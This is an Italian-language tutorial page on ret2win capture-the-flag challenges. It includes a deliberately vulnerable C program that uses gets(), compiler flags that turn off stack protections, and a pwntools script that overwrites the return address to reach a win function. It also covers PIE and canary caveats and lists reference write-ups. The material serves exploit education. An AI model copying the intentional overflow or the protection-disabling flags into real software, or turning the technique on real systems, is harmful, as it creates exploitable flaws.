Ret2win

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Basic Information

Le sfide Ret2win sono una categoria popolare nelle competizioni di Capture The Flag (CTF), in particolare in compiti che coinvolgono binary exploitation. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come win, flag, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida tipicamente comporta la sovrascrittura dell'indirizzo di ritorno nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:

C Example

Considera un semplice programma C con una vulnerabilità e una funzione win che intendiamo chiamare:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Per compilare questo programma senza protezioni dello stack e con ASLR disabilitato, puoi usare il seguente comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

• -m32: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).

• -fno-stack-protector: Disabilita le protezioni contro gli overflow dello stack.

• -z execstack: Consenti l'esecuzione di codice nello stack.

• -no-pie: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione win non cambi.

• -o vulnerable: Nomina il file di output vulnerable.

Python Exploit usando Pwntools

Per l'exploit, utilizzeremo pwntools, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Per trovare l'indirizzo della funzione win, puoi utilizzare gdb, objdump o qualsiasi altro strumento che ti consenta di ispezionare i file binari. Ad esempio, con objdump, potresti usare:

objdump -d vulnerable | grep win

Questo comando ti mostrerà l'assembly della funzione win, incluso il suo indirizzo di partenza.

Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla vulnerable_function, fa traboccare il buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di win. Quando vulnerable_function restituisce, invece di tornare a main o uscire, salta a win, e il messaggio viene stampato.

Protezioni

• PIE dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è read o simile, puoi fare una Sovrascrittura Parziale di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una 1/16 possibilità (1 nibble) di ottenere l'indirizzo di ritorno corretto.

• Stack Canaries dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.

Altri esempi & Riferimenti

• https://ir0nstone.gitbook.io/notes/types/stack/ret2win

• https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html

• 32bit, no ASLR

• https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html

• 64 bit con ASLR, con un leak dell'indirizzo bin

• https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html

• 64 bit, no ASLR

• https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html

• 32 bit, no ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow

• https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html

• 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo fflush con la funzione win (ret2win)

• https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html

• 32 bit, nx, nient'altro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win

• https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html

• 32 bit, nx, nient'altro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• Il programma sta solo convalidando l'ultimo byte di un numero per controllare la dimensione dell'input, quindi è possibile aggiungere qualsiasi dimensione purché l'ultimo byte sia all'interno dell'intervallo consentito. Poi, l'input crea un buffer overflow sfruttato con un ret2win.

• https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/

• 64 bit, relro, no canary, nx, pie. Sovrascrittura parziale per chiamare la funzione win (ret2win)

• https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/

• arm64, PIE, fornisce un leak PIE la funzione win è in realtà 2 funzioni quindi gadget ROP che chiama 2 funzioni

• https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/

• ARM64, off-by-one per chiamare una funzione win

Esempio ARM64

Ret2win - arm64

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